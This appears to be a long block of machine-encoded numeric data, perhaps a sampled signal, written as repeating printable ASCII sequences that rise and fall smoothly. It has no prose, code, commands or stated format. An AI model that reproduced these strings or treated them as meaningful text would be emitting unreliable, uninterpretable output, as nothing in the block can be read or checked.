~{wtp!m%}i(zg,vc/s`2p]6lY8jW;hT=fR?dPAbNC`LD_KE^JF]IF]IF]IF]IE^JD_KC`LBaM@cO>eQeQAbND_KG\HIZFKXDMVBNUANUANUANUAMVBLWCKXDIZFG\HD_KAbN>eQ:iU7kX3o\/s`*xe(zg*xe-ub/s`0r_1q^2p]2p]1q^1q^/s`.ta,vc*xe'{h$~j!mpsw{  {wsp"l$~j'{h)yf+wd,vc-ub-ub-ub,vc+wd)yf&|i$~j!moruxzzxvutsrqpppppppqrrstuvwyz{zzyyxxwutrpo!m#k%}i'{h)yf+wd,vc.ta/s`0r_1q^2p]2p]2p]2p]2p]2p]1q^0r_i9%f=)e>*h;'i9%l6"o3r0t.w+z(|&~$!     "#}%|&z(x*w+v,u-t.r0p2m5!j8$h;'e>*aB.]F2]F2^E1_D0`C/aB.bA-bA-bA-bA-bA-aB.`C/_D0]F2\G3YJ6WL8TO;QR>NUAJYEF]IAbN=fR8jW3o\.ta)yf#kpv|ys!m'{h-ub3o\9iV>eQC`LH[GLWCPS?TO;WL8[H4]F2`C/bA-d?+e>*f=)g<(h;'h;'i:&i:&h;'h;'h;'g<(g<(g<(f=)f=)f=)f=)f=)f=)f=)e>*e>*d?+c@,d?+f=)g<(i:&i9%j8$k7#k7#l6"l6"l6"l6"k7#k7#j8$i9%i:&h;'g<(e>*d?+bA-aB.aB.bA-d?+e>*f=)g<(i:&i9%j8$k7#m5!m5!m5!m5!m5!l6"k7#j8$i9%h;'f=)e>*c@,aB._D0\G3ZI5XK7XK7XK7XK7WL8VM9UN:TO;RQ=QR>OT@MVBJYEH[GE^JBaM>eQeQBaMF]IIZFLWCOT@QR>SP*aB.^E1[H4YJ6VM9SPNUALWCIZFG\HD_KBaM@cO=fR;hT8jW6lY3o\1q^.ta,vc)yf'{h$~j!mpsux{~ {xuq!m$~j(zg,vc/s`2p]6lY9iV;hT>eQ@cOBaMC`LE^JF]IF]IG\HG\HF]IF]IE^JD_KBaMAbN?dP=fR;hT9iV6lY4n[1q^/s`-ub+wd)yf'{h&|i%}i$~j#k#k#k#k#k#k#k$~j%}i%}i&|i'{h(zg)yf*xe,vc-ub.ta/s`1q^2p]3o\4n[5mZ6lY7kX8jW9iV9iV9iV:iU:iU:iU9iV9iV8jW7kX6lY4n[3o\2p]1q^1q^0r_/s`/s`.ta-ub-ub,vc+wd*xe)yf(zg'{h&|i$~j"l nprtwywusqo!m"l#k%}i&|i&|i'{h(zg+wd0r_6kYMVBH[GBaM=fR8jW2p]-ub(zg(zg(zg(zg(zg(zg(zg(zg(zg(zg'{h&|i%}i#k"l nprtwyzz{}~  }{zxvuttttuvwvq"l'{h,vc0r_5mZ9iV=fRAbND_KG\HJYELWCNUAOT@PS?QR>QR>PS?PS?NUAMVBKXDH[GF]IC`L?dP*e>*f=)f=)e>*e>*d?+c@,bA-`C/^E1[H4YJ6VM9RQ=OT@KXDG\HBaM=fR9iV3o\.ta)yf#kqw|~}}}}yr"l(zg.ta4n[:iU?dPD_KIZFMVBQR>UN:YJ6\G3_D0aB.c@,e>*f=)g<(h;'i:&i:&i:&i:&i:&i:&h;'h;'g<(g<(g<(g<(g<(g<(g<(g<(f=)f=)e>*e>*e>*g<(h;'i9%j8$k7#l6"m5!n4 n4 n4 o3n4 n4 m5!m5!l6"k7#j8$i:&h;'f=)e>*c@,aB.c@,d?+e>*f=)g<(h;'i9%j8$k7#l6"m5!m5!m5!l6"k7#j8$i9%i:&g<(e>*d?+bA-`C/]F2[H4ZI5ZI5ZI5ZI5YJ6YJ6XK7WL8VM9TO;RQ=QR>NUALWCIZFG\HD_K@cO=fR:iU:iU9iV9iV9iV9iV8jW7kX6lY4n[2p]0r_-ub+wd'{h$~j!mquy}  |xurp!m#k%}i&|i(zg(zg)yf)yf(zg(zg+wd.ta2p]5mZ9iVeQ;hT8jW4n[0r_,vc'{h#kpuz  }zwusrqppppqrstuvxz{}  ~yup#k(zg-ub3o\7kX*f=)h;'i:&i9%i9%i9%i9%i:&g<(e>*c@,`C/]F2ZI5WL8TO;RQ=OT@MVBJYEH[GF]ID_KAbN?dP=fR;hT8jW6lY4n[1q^/s`-ub*xe'{h%}i"loqtwz}  }yur n$~j(zg+wd/s`2p]5mZ8jW;hT>eQ@cOBaMC`LE^JF]IG\HG\HG\HG\HF]IE^JD_KC`LAbN?dP=fR;hT9iV7kX4n[2p]0r_-ub+wd)yf(zg'{h&|i%}i$~j$~j#k#k#k#k$~j$~j%}i%}i&|i'{h(zg)yf*xe+wd,vc.ta/s`0r_1q^2p]3o\4n[5mZ6lY7kX7kX8jW8jW8jW8jW8jW8jW7kX6lY5mZ4n[2p]1q^0r_/s`/s`.ta-ub-ub,vc+wd+wd*xe)yf(zg'{h&|i%}i$~j"l!moqsvxvsqo!m#k%}i&|i'{h)yf*xe*xe+wd,vc,vc2p]8jW>eQC`LIZFNUASP*aB.]F2XK7TO;OT@JYEE^J@cO;hT6lY0r_+wd'{h'{h'{h'{h'{h'{h'{h'{h&|i&|i%}i#k"l noqsuwy|~~  }{yxvuttttuvxs n%}i*xe/s`3o\8jW*f=)g<(h;'h;'i:&i:&i:&h;'h;'g<(f=)d?+bA-`C/]F2[H4WL8TO;PS?LWCH[GC`L>eQ9iV4n[.ta)yf#kqw|||{{{xr#k)yf/s`5mZ;hT@cOE^JJYENUARQ=VM9ZI5]F2_D0bA-d?+f=)g<(h;'i:&i9%i9%i9%i9%i9%i:&i:&h;'h;'g<(g<(g<(g<(g<(g<(g<(g<(f=)f=)e>*g<(i:&j8$k7#m5!n4 o3p2q1q1q1q1q1q1p2o3o3m5!l6"k7#i9%i:&g<(f=)d?+bA-c@,d?+f=)g<(h;'i:&i9%j8$k7#l6"l6"l6"k7#j8$i9%i:&h;'f=)d?+bA-`C/^E1\G3[H4\G3\G3\G3[H4[H4ZI5YJ6XK7WL8VM9TO;RQ=PS?NUAKXDH[GE^JBaM?dP;hT9iV8jW8jW8jW8jW7kX6lY5mZ3o\1q^/s`,vc*xe&|i#k nrvz~  ~zwtq n"l$~j&|i'{h)yf)yf*xe*xe)yf(zg)yf,vc0r_3o\7kX:iU=fR@cOBaMD_KF]IH[GIZFJYEJYEJYEIZFIZFG\HF]ID_KBaM?dPeQBaME^JIZFKXDNUAPS?RQ=TO;UN:VM9WL8XK7XK7XK7XK7WL8WL8VM9UN:WL8ZI5\G3_D0aB.c@,e>*f=)g<(h;'h;'h;'h;'g<(e>*c@,aB.^E1[H4XK7UN:SPMVBH[GC`L>eQ9iV4n[.ta)yf%}i%}i%}i%}i&|i&|i%}i%}i$~j#k"l!moprtvxz|~  ~|zywvuuttuvwup#k(zg-ub2p]6lY;hT?dPC`LF]IJYEMVBOT@QR>SPeQ:iU6lY1q^-ub)yf$~j&|i(zg*xe+wd+wd,vc+wd+wd*xe)yf'{h&|i#k!mpruy|  |yvtqo n"l"l#k#k"l!moqtvy{|{ywvutsrrqqqqqrrstuvwxyz|}~~}|zxvtrp n"l%}i'{h(zg*xe,vc-ub.ta/s`0r_0r_1q^0r_0r_0r_/s`i:&i:&k7#n4 p2s/v,y)|&#   "~$|&z(x*v,u-t.r0p2n4 k7#i:&f=)e>*g<(h;'i:&i9%j8$j8$k7#k7#k7#k7#j8$j8$i9%h;'g<(d?+bA-_D0\G3YJ6UN:QR>MVBIZFD_K?dP9iV4n[.ta)yf#kqw{zzzzzxq#k*xe0r_5mZ;hT@cOF]IJYEOT@SP*c@,d?+e>*f=)g<(h;'i:&i9%j8$j8$k7#j8$j8$i9%i:&g<(f=)d?+bA-aB._D0]F2]F2]F2]F2]F2]F2]F2]F2\G3[H4ZI5YJ6XK7VM9TO;RQ=PS?MVBJYEG\HD_K@cO=fR9iV7kX7kX7kX7kX6lY5mZ4n[2p]0r_.ta+wd)yf%}i"losw{  }yvsp n#k%}i'{h(zg)yf*xe*xe*xe*xe)yf(zg*xe.ta2p]5mZ8jWeQAbNC`LE^JG[HH[GIZFJYEJYEJYEIZFH[GF]IE^JBaM@cO=fR:iU6lY3o\/s`*xe&|i!mqv{  |zxwvuuuuvwxyz|}~~}}}}}}~ }|{zyup#k(zg.ta3o\7kXSP*f=)f=)g<(f=)f=)e>*c@,aB._D0\G3YJ6VM9SPOT@LWCJYEH[GF]ID_KBaM@cO>eQ*i:&l6"p2s/u-x*z(|&}%#""""""#~$}%{'z(y)x*{'}%"             ! ! #~$}%{'y)w+u-r0p2m5!j8$g<(d?+`C/\G3XK7SPeQBaMF]IIZFLWCOT@RQ=TO;UN:VM9WL8WL8WL8WL8UN:TO;RQ=PS?MVBJYEG\HC`L?dP;hT7kX2p].ta)yf%}i$~j&|i(zg)yf)yf*xe*xe)yf(zg'{h&|i$~j"l npsvy|  ~{xvtrqoooopqsuxz}}{yxvutsrrqqqqqrrstuvwxz{|~ ~|{yvtrp n#k%}i'{h)yf*xe,vc-ub.ta/s`/s`/s`/s`/s`.ta.tai:&i9%l6"o3r0u-x*{'~$!   #}%{'y)w+u-t.s/q1o3m4!j7$h;'h;'i:&i9%k7#l6"l6"m5!n4 n4 n4 n4 n4 m5!m5!k7#j8$i:&g<(d?+aB.^E1[H4WL8SP*d?+d?+e>*f=)g<(h;'i:&i9%i9%i9%i9%i:&h;'g<(f=)d?+bA-aB._D0^E1^E1_D0_D0_D0_D0_D0_D0^E1^E1]F2\G3[H4YJ6XK7VM9TO;QR>OT@LWCIZFF]IBaM?dP;hT7kX6lY5mZ5mZ5mZ4n[3o\1q^/s`-ub*xe(zg$~j!mptx|  |yvrp!m#k%}i'{h)yf*xe*xe+wd+wd*xe*xe(zg(zg,vc0r_3o\7kX:iU=fR@cOBaMD_KF]IH[GIZFIZFJYEJYEIZFH[GG\HE^JC`LAbN>eQ;hT8jW4n[0r_,vc(zg#koty}  }{zyxxxxyz{|}~}}|{{{{{{|}~ ~|{zyxwvs n&|i+wd0r_5mZ9iV>eQAbNE^JH[GKXDMVBPS?RQ=SP*e>*d?+d?+c@,aB._D0]F2ZI5WL8TO;RQ=OT@MVBKXDIZFG\HE^JC`LAbN@cO>eQeQ@cOBaMC`LE^JE^JF]IF]IF]IE^JD_KC`LBaM@cO?dP=fR;hT8jW6lY4n[1q^/s`-ub+wd)yf(zg&|i%}i%}i%}i&|i'{h(zg)yf)yf*xe*xe*xe*xe*xe*xe)yf)yf(zg)yf*xe+wd,vc-ub.ta/s`/s`0r_1q^1q^2p]2p]3o\3o\3o\2p]2p]1q^0r_/s`.ta,vc+wd*xe)yf(zg'{h&|i%}i%}i$~j$~j#~k#k"l!m nopqrtvxvsp!m$~j&|i)yf+wd-ub/s`0r_2p]3o\4n[5mZ6lY6lY6lY8jW>eQD_KJYEOT@UN:ZI5_D0d?+h;'k7#o3s/v,y){'}%#!        ! #~$}%{'y){'}%#!  ! ! ! ""#~$}%|&z(y)w+u-r0p2m5!j8$h;'e>*aB.]F2YJ6UN:QR>LWCH[GC`L>eQ9iV4n[/s`*xe%}i"l"l#k#k#k"l"l!m noqrtuwy{}  }{zyxwvvuvvwso$~j)yf.ta3o\8jWNUAKXDH[GD_K@cO*f=)g<(h;'h;'h;'h;'g<(f=)e>*c@,bA-`C/_D0_D0`C/`C/aB.aB.aB.aB.aB.aB.`C/`C/_D0^E1]F2[H4YJ6XK7VM9SPNUAKXDH[GD_KAbN=fR9iV5mZ4n[4n[4n[3o\2p]0r_.ta,vc)yf'{h#k nquy}  |xuro!m$~j&|i'{h)yf*xe+wd+wd+wd*xe*xe(zg'{h*xe.ta2p]6lY9iVSPeQ*bA-_D0[H4WL8SPTO;VM9XK7ZI5ZI5[H4[H4[H4ZI5XK7WL8UN:RQ=OT@LWCH[GD_K@cO*bA-^E1ZI5UN:QR>LWCG\HAbN*f=)g<(h;'h;'h;'h;'h;'h;'g<(f=)f=)e>*e>*e>*d?+e>*e>*e>*g<(i9%k7#n4 p2r0t.v,x*y)z({'|&}%}%~$~$}%}%|&|&{'y)x*w+u-s/r0p2n4 l6"j8$i:&g<(e>*d?+c@,d?+e>*e>*f=)f=)e>*d?+c@,bA-aB.`C/`C/aB.aB.bA-bA-bA-c@,c@,c@,c@,bA-bA-aB.`C/_D0^E1]F2[H4YJ6WL8UN:SPeQAbNC`LE^JG\HH[GIZFJYEJYEJYEIZFH[GG\HE^JC`LAbN>eQ;hT7kX4n[0r_,vc(zg#kotx}  ~~}}~~}|{zyxxwwwwwxyz|}}{zxwvutsrqq"l'{h,vc1q^6lY:iU>eQAbNE^JH[GKXDMVBPS?RQ=TO;UN:VM9WL8XK7YJ6YJ6ZI5ZI5ZI5YJ6YJ6YJ6[H4\G3^E1_D0`C/aB.aB.aB.aB.`C/_D0^E1\G3YJ6VM9SPOT@MVBKXDIZFF]IC`L@cO?dP=fReQeQ9iV5mZ0r_+wd&|i!m n n n noopqrtuvxy{}~  ~}|zyxxwwwwvr!m%}i*xe/s`4n[9iV=fRBaMF]IJYEMVBQR>TO;VM9XK7ZI5[H4\G3]F2]F2\G3[H4ZI5XK7VM9SPUN:XK7[H4^E1`C/bA-c@,e>*f=)f=)g<(g<(g<(f=)f=)e>*e>*d?+d?+c@,c@,c@,c@,f=)h;'j8$l6"o3q1t.v,x*z({'}%~$#"! ! ! ! ! ""#~$}%{'z(x*w+u-s/q1o3m5!k7#i9%h;'f=)e>*d?+c@,c@,c@,c@,bA-bA-aB.aB.aB.bA-bA-c@,c@,d?+d?+d?+e>*e>*e=*d?+d?+d?+c@,bA-aB.`C/_D0]F2[H4YJ6WL8TO;RQ=OT@LWCH[GE^JAbN=fR9iV5mZ1q^1q^0r_/s`.ta,vc*xe'{h%}i"losvz~ |yvsp!m#k%}i'{h(zg)yf*xe*xe*xe*xe)yf(zg&|i(zg,vc0r_3o\7kX:iU=fR@cOC`LE^JG\HH[GIZFJYEJYEJYEJYEIZFH[GF]ID_KBaM?dP=fR9iV6lY2p].ta*xe&|i!mqvz   ~}{zyxwvvuuuuvvwxz|{yxvutsrqppo n%}i*xe/s`4n[8jWSPeQ@cOAbNAbNAbNAbNAbN@cO?dP>eQeQ>eQ@cOF]ILWCRQ=XK7]F2bA-g<(k7#p2t.x*{'#    "#}%|&{'{'z(z(z(z(z(z(z(z(z(y)y)y)x*w+v,u-t.s/q1o3m5!j8$i:&f=)c@,`C/]F2YJ6UN:QR>MVBIZFD_K@cO;hT7kX2p]-ub(zg$~jooooppqrstuwxy{|~  }|{zyxxxxwso$~j(zg-ub2p]7kX;hT@cOD_KH[GLWCPS?SP*aB.]F2XK7SPeQ8jW2p],vc&|i ntwwwwwwwt!m'{h-ub3o\8jW>eQC`LG\HLWCPS?SP*e>*e>*e>*e>*d?+d?+c@,c@,bA-bA-aB.c@,f=)i:&k7#m5!p2r0u,w+y){'}%#"!         ! "#}%{'z(x*v,t.r0p2n4 l6"j8$i:&g<(f=)e>*d?+c@,c@,c@,c@,c@,c@,c@,d?+d?+e>*e>*e>*f=)f=)f=)f=)f=)f=)f=)e>*e>*d?+c@,bA-`C/_D0]F2[H4XK7VM9SPeQ;hT8jW4n[0r_,vc(zg$~josw| }|{yxwvuttssssttuwxzyxvutsrqpoo n n$~j)yf.ta2p]7kX;hT?dPBaMF]IIZFLWCNUAPS?SPNUAKXDH[GE^JAbN>eQ;hT:iU9iV7kX6lY5mZ3o\2p]0r_/s`-ub+wd)yf'{h%}i#k!mpruxz}  {wso#k'{h*xe.ta1q^4n[6lY8jW:iUeQ?dP?dP?dP?dP>eQ=fReQ?dP?dP@cO@cOC`LIZFOT@UN:ZI5`C/e>*i9%n4 r0w*z(~$!    "#~$}%|&{'z(x*w+w+w+w+w+w+w+w+v,u-u-t.s/q1p2n4 l6"j8$i:&f=)c@,`C/]F2ZI5VM9RQ=NUAJYEF]IBaM=fR9iV4n[/s`+wd&|i!mppqqqrstuvwxy{|}  ~}|{zyyywtp"l'{h+wd0r_5mZ9iV>eQBaMG\HKXDNUARQ=UN:WL8ZI5\G3]F2^E1_D0_D0_D0^E1]F2[H4YJ6WL8TO;QR>MVBIZFE^JAbNeQ8jW2p],vc&|i ntwwvvvvwt n&|i,vc2p]7kX=fRBaMF]IJYENUARQ=UN:XK7[H4]F2_D0`C/aB.bA-c@,c@,c@,c@,c@,bA-bA-aB.aB.`C/`C/c@,f=)i:&k7#n4 q1s/v,x*z(|&~$"       ! "~$|&z(x*v,t.r0p2n4 l6"j8$i:&h;'g<(f=)e>*e>*d?+d?+d?+e>*e>*e>*f=)f=)f=)g<(g<(g<(g<(g<(g<(g<(g<(f=)f=)e>*d?+c@,aB.`C/^E1\G3ZI5WL8UN:RQ=OT@KXDH[GD_K@cOeQAbNE^JH[GKXDNUAPS?RQ=TO;VM9XK7YJ6ZI5[H4\G3\G3]F2]F2]E2]F2]F2]F2]F2]F2\G3\G3\G3\G3\G3[H4[H4[H4[H4\G3\G3\G3\G3[H4ZI5XK7VM9TO;QR>NUAKXDH[GD_K@cOeQ?dP@cOAbNBaMBaMBaMF]ILWCQR>WL8]F2bA-g<(k7#p2u-y)}%"   ! "##~$|&z(w+t.t.t.t.u-t.t.t.t.s/r0q1p2o3m5!l6"j8$h;'f=)d?+aB.^E1ZI5WL8SPTO;WL8YJ6[H4]F2_D0_D0`C/`C/_D0_D0]F2[H4YJ6WL8TO;PS?MVBIZFE^J@cOeQ8jW2p],vc&|i ntvvvvvvvuo&|i+wd1q^7kXTO;WL8YJ6[H4]F2^E1`C/`C/aB.aB.aB.aB.aB.aB.`C/_D0_D0^E1bA-f=)i9%l6"n4 q1t.v,y){'}%#!     "~$|&z(x*v,t.q1o3m5!l6"j8$i:&h;'g<(f=)f=)f=)f=)f=)f=)f=)f=)g<(g<(g<(h;'h;'h;'h;'h;'h;'h;'h;'g<(g<(f=)e>*d?+bA-aB._D0]F2ZI5XK7UN:SPNUAJYEG\HC`L?dP:iU9iV8jW7kX6lY5mZ4n[3o\1q^0r_.ta-ub+wd)yf'{h%}i#k!moruwz}  }yuq!m$~j(zg+wd.ta0r_3o\5mZ7kX8jW9iV:iU:iU:iU:iU:iU9iV8jW6lY5mZ3o\1q^/s`-ub+wd)yf'{h%}i'{h*xe-ub/s`1q^3o\5mZ6lY8jW9iV:iU:iU;hT;hT;hT;hT;hT:iU:iU9iV9iV8jW7kX6lY5mZ4n[3o\1q^0r_/s`.ta-ub,vc+wd*xe)yf)yf(zg(zg'{h'{h(zg(zg)yf)yf)yf(zg&|i%}i"l nqtx{ ~zvr n$~j(zg,vc/s`2p]5mZ8jW:iUeQ@cOBaMC`LD_KD_KE^JE^JH[GNUASPMVBIZFE^JAbN=fR9iV4n[0r_+wd'{h"lpttuuvvwxxyz{|}~ ~~}{yvsp!m%}i)yf.ta2p]6lY;hT?dPD_KH[GLWCOT@SPeQ8jW2p],vc&|i ntuuuuuuvuo%}i+wd0r_6lY;hT?dPD_KH[GLWCOT@RQ=UN:XK7ZI5[H4]F2^E1_D0_D0_D0_D0_D0_D0_D0^E1^E1]F2aB.e>*i:&l6"o3q1t.v,y){'~$"     ! #}%{'y)w+u-s/q1o3m5!k7#j8$i:&h;'g<(g<(f=)f=)f=)f=)g<(g<(g<(h;'h;'h;'h;'i:&i:&i:&i:&h;'h;'h;'g<(f=)e>*d?+bA-aB._D0]F2[H4YJ6VM9SPeQ:iU6lY2p].ta,vc+wd*xe(zg&|i#k!mpsuvwxyz{|}}zwurp n!m"l#k$~j%}i%}i$~j$~j"l!m$~j(zg-ub1q^5mZ8jWMVBIZFE^JAbN=fR9iV8jW7kX6lY5mZ5mZ4n[3o\1q^0r_/s`-ub,vc*xe(zg&|i$~j"loqtwz}  }xuq!m$~j(zg+wd-ub0r_2p]4n[5mZ6lY7kX8jW8jW8jW7kX7kX6lY4n[3o\1q^0r_.ta,vc*xe(zg&|i%}i)yf,vc/s`1q^4n[5mZ7kX9iV:iU;hTeQBaMF]IJYENUARQ=UN:XK7ZI5]F2^E1`C/aB.aB.aB.aB.`C/_D0]F2[H4YJ6VM9SPTO;VM9XK7ZI5[H4\G3]F2]F2^E1^E1]F2]F2]F2\G3\G3_D0c@,h;'k7#n4 q1t.w+y)|&~$"   "~$|&z(x*v,t.q1o3n4 l6"j8$i9%i:&h;'g<(g<(g<(g<(g<(g<(g<(g<(h;'h;'h;'i:&i:&i:&i:&i:&h;'h;'h;'g<(f=)e>*d?+c@,aB._D0]F2[H4YJ6VM9SPeQ;hT8iW4n[1q^-ub)yf%}i!mquy{|||||{zyxwvusrqpo n!m!m"l"l"l"l!m!m noqrtutsrqppo n n!m!m"l#k%}i*xe/s`3o\8jW*e>*f=)f=)f=)f=)e>*d?+bA-`C/]F2[H4WL8TO;PS?LWCH[GC`L?dP:iU8jW7kX7kX6lY5mZ5mZ4n[3o\2p]1q^/s`.ta,vc+wd)yf'{h%}i"l nqsvy|  ~|xtp!m$~j'{h*xe-ub/s`1q^2p]3o\4n[5mZ5mZ5mZ5mZ4n[3o\2p]1q^0r_.ta,vc*xe(zg'{h%}i(zg+wd.ta1q^3o\6lY7kX9iV;hTeQ>eQ?dP?cP?dP>eQ>eQ=fR=fRWL8\G3bA-g<(k7#p2u-y)}%!       ! #|&y)v,r0n4 l6"m5!m5!m5!m5!m5!m5!l6"l6"k7#j8$i9%i:&g<(e>*c@,aB._D0\G3ZI5WL8TO;PS?MVBIZFE^JAbN=fR9iV5mZ1q^,vc(zg$~j nqtwyzz{{||}}~~~}|{zxvtro"l%}i(zg,vc0r_4n[9iV=fRAbNE^JIZFMVBQR>TO;WL8ZI5\G3^E1`C/aB.bA-bA-bA-aB.`C/_D0]F2[H4XK7UN:RQ=NUAKXDF]IBaM=fR9iV4n[/s`*xe%}i!mrrpo n n n n nopqrsuwxz|~ }|zyxwvuuuuuuvvwxxyz|}  ~}||||}  }{yvusqpoo n nj8$h;'i9%l6"o3s/v,y)|&~$!    "}%{'y){'}%"!                "#}%z(w+t.q1n4 j8$f=)bA-]F2XK7SPeQBaMF]IIZFMVBPS?RQ=TO;VM9XK7YJ6ZI5[H4[H4\G3\G3\G3[H4[H4ZI5\G3aB.f=)j8$n4 q1t.w*y)|&~$"    ! #}%{'x*v,t.r0p2n4 l6"j8$i9%i:&h;'g<(g<(g<(g<(g<(g<(g<(g<(h;'h;'h;'h;'h;'i:&i:&h;'h;'h;'g<(g<(f=)e>*d?+bA-aB._D0]F2[H4XK7VM9SP*e>*e>*f=)f=)f=)f=)g<(g<(g<(g<(h;'h;'i:&i9%i9%i9%i:&g<(f=)c@,aB.^E1ZI5WL8SPeQ?dP@cO@cO@cO@cO@cO?dP?dP>eQ>eQ=fR*c@,aB._D0]F2ZI5XK7UN:RQ=NUAKXDG\HD_K@cOMVBIZFE^J@cOSP*d?+c@,bA-`C/^E1\G3ZI5XK7UN:SPeQ;hT7kX4n[0r_,vc)yf%}i!mqtwxxxxxwvutsqpo n!m"l#k$~j%}i%}i%}i&|i%}i%}i$~j$~j#k!m nprttsrqqppoo n n!m"l$~j)yf.ta2p]7kX;hT?dPC`LG\HJYEMVBPS?SP*f=)g<(g<(h;'h;'h;'i:&i:&i:&i9%i9%i9%j8$j8$k7#l6"l6"l6"k7#j8$i:&g<(d?+aB.]F2ZI5VM9QR>MVBH[GD_K?dP:iU8jW8jW7kX7kX7kX6lY6lY5mZ4n[3o\2p]1q^0r_.ta-ub+wd)xf'{h$~j"lorux{  ~{xtq n#k&|i(zg*xe,vc-ub.ta/s`0r_0r_0r_0r_/s`.ta-ub,vc+wd)yf(zg&|i$~j(zg,vc/s`2p]5mZ7kX9iV;hTeQ?dP@cO@cOAbNAbNAbNAbNAbN@cO@cO?dP>eQ>eQ=fReQ:iU6lY2p].ta*xe'{h#k nqsvxz|~~}}|{zywvtrp!m#k&|i)yf,vc0r_3o\7kX;hT?dPC`LG\HKXDNUARQ=UN:XK7[H4]F2_D0aB.bA-bA-c@,c@,bA-aB.`C/^E1\G3ZI5WL8SPKXDF]I@cO:iU4n[.ta(zg"lppppppqrsto$~j)yf.ta3o\8jWSP*d?+c@,bA-aB._D0]F2[H4YJ6WL8UN:RQ=OT@LWCIZFF]IBaM?dP;hT7kX3o\0r_-ub,vc*xe)yf'{h%}i#k npqrstuvwxyz{}~|zxwutsrrrrstp#k'{h+wd0r_4n[8jW;hT?dPBaMD_KG\HIZFKXDLWCMVBNUANUANUANUAMVBLWCKXDIZFG\HD_KBaM?dP*f=)g<(h;'h;'i:&i9%i9%j8$j8$k7#k7#k7#l6"l6"m5!n4 n4 o3o3o3n4 m5!k7#i9%g<(d?+`C/]F2XK7TO;OT@KXDF]IAbNeQ?dP@cOAbNAbNBaMBaMBaMBaMAbNAbN@cO@cO?dP>eQ=fRRQ=SP*f=)f=)f=)g<(g<(g<(g<(f=)f=)e>*d?+c@,b@-aB._D0]F2[H4YJ6WL8TO;QR>NUAKXDH[GD_KAbN=fR9iV5mZ1q^-ub*xe&|i#k npsuwy{|~ ~}|{zyxvusqo!m$~j&|i)yf,vc0r_3o\7kX;hT>eQBaMF]IJYENUAQR>TO;WL8ZI5\G3^E1`C/bA-bA-c@,c@,c@,bA-aB._D0^E1[H4XK7UN:RQ=NUAJYEF]IBaM=fR8jW3o\.ta*xe%}i nrsrqpooooppqrsuvxy{} ~|{zxwvvtsrqqqqqrstuwy{}  ~|zxvussrrrstvxz|~  |zwusrpoo nj8$h;'e>*h;'j8$m5!p2s/v,y){'~$"!       ! "~$|&z({'~$!   "~$|&y)v,r0o3k7#g<(c@,^E1YJ6TO;OT@JYED_K>eQ8jW3o\-ub'{h!m n n n noopqrto$~j)yf.ta3o\7jX;hT?dPBaMF]IIZFKXDMVBOT@QR>SP*e>*e>*e>*e>*e>*e>*e>*e>*f=)f=)f=)f=)f=)f=)e>*e>*d?+d?+c@,bA-aB._D0^E1\G3ZI5XK7VM9TO;QR>NUAKXDH[GE^JBaM>eQ:iU7kX3o\0r_-ub,vc+wd*xe(zg&|i$~j!moprsstuvwxy{|} }{yxwvuutuuup"l'{h+wd0r_4n[7kX;hT>eQBaMD_KG\HIZFKXDLWCMVBNUAOT@OT@NUAMVBLWCKXDIZFG\HE^JC`L@cO=fR:iU6lY3o\/s`,vc(zg%}i!mpsuuuttsrqo n!m"l#k%}i&|i'{h'{h(zg)yf)yf)yf)yf)yf(zg'{h&|i%}i#k"l nqstsssrrqqppoo n$~j)yf.ta2p]7kX;hT?dPC`LG\HJYENUAQR>TO;VM9YJ6[H4]F2_D0aB.c@,e>*f=)g<(h;'i:&i9%j8$k7#k7#l6"m5!m5!n4 n4 o3o3p2q1q1r0s/r0r0p2n4 l6"i9%g<(c@,_D0[H4WL8RQ=MVBH[GC`L>eQ8jW8iW9iV9iV9iV9iV9iV8jW8jW7kX7kX6lY5mZ4n[2p]1q^/s`-ub+wd)yf&|i$~j!mptw{  {xuro!m$~j&|i'{h)yf*xe*xe+wd+wd+wd+wd*xe)yf)yf'{h&|i%}i$~j(zg+wd/s`2p]5mZ8jW:iUeQ=fReQAbNE^JH[GKXDMVBOT@QR>SP*d?+d?+d?+c@,bA-bA-`C/_D0]F2\G3ZI5XK7UN:SPeQBaME^JIZFMVBPS?SP*f=)i:&k7#n4 q1t.w+y){'}%#!        "#}%|&z({'~$!   "}%{&x*t.q1m5!i9%f=)aB.]F2XK7SPeQAbND_KG\HJYELWCNUAPS?QR>RQ=SP*d?+d?+c@,c@,c@,c@,c@,d?+d?+d?+d?+d?+d?+d?+d?+d?+d?+c@,c@,bA-aB.`C/_D0^E1\G3[H4YJ6WL8UN:RQ=PS?MVBJYEG\HD_KAbN=fR:iU6lY3o\0r_.ta-ub,vc*xe)yf'{h%}i"l npqrstuvwxyz{}~ }|zyxxwwwxuq"l'{h+wd/s`3o\7kX;hT>eQAbND_KG\HIZFKXDLWCMVBNUAOT@OT@NUANUAMVBKXDJYEH[GF]IC`L@cO=fR:iU7kX4n[0r_-ub*xe&|i#k nqsssrrqpo!m"l#k$~j&|i'{h(zg)yf)yf*xe*xe+wd+wd*xe*xe)yf)yf'{h&|i$~j#k npstttsssrrrqqpo$~j)yf.ta2p]7kX;hT?dPC`LG\HJYENUAQR>TO;WL8YJ6\G3^E1`C/bA-d?+f=)g<(i:&i9%j8$k7#l6"m5!m5!n4 o3o3p2q1q1r0s/s/t.u-v,u-u-s/q1o3l6"i9%f=)bA-^E1YJ6TO;OT@JYEE^J@cO:iU9iV9iV9iV:iU:iU:iU:iU:iU9iV9iV8jW7kX6lY5mZ4n[2p]1q^/s`,vc*xe'{h$~j!mptx|  |xurp n"l$~j&|i'{h(zg(zg)yf)yf)yf(zg(zg'{h&|i%}i$~j&|i)yf-ub0r_3o\6lY9iV;hT=fR>eQ@cOAbNBaMBaMC`LC_LC`LC`LBaMBaMAbNAbN@cO?dP>eQ=fRNUALWCH[GE^JBaM>eQ:iU6lY3o\/s`,vc)yf&|i#k!mortvwy{|}~~}|{yxvtrp n"l%}i'{h*xe-ub0r_3o\6lY:iU=fRAbNE^JH[GLWCOT@SP*d?+g<(i9%l6"o3r0u-w+y){'}%~$#"! ! ! ! ! "#~$}%{'y)z(}%"    ! #|&y)v,s/o3k6#h;'d?+_D0[H4VM9QR>KXDF]I@cO;hT5mZ/s`)yf$~j$~j$~j$~j#k#k"l!m noqso$~j)yf-ub2p]6lY9iV=fR@cOC_LF]IH[GJYELWCNUAOT@PS?QR>RQ=RQ=RQ=RQ=SPNUALWCIZFF]IC`L@cOeQAbND_KG\HIZFKXDLWCMVBNUANUANUANUANUAMVBKXDJYEH[GF]IC`LAbN>eQ;hT8jW5mZ1q^.ta+wd'{h$~j!mprrqqpo 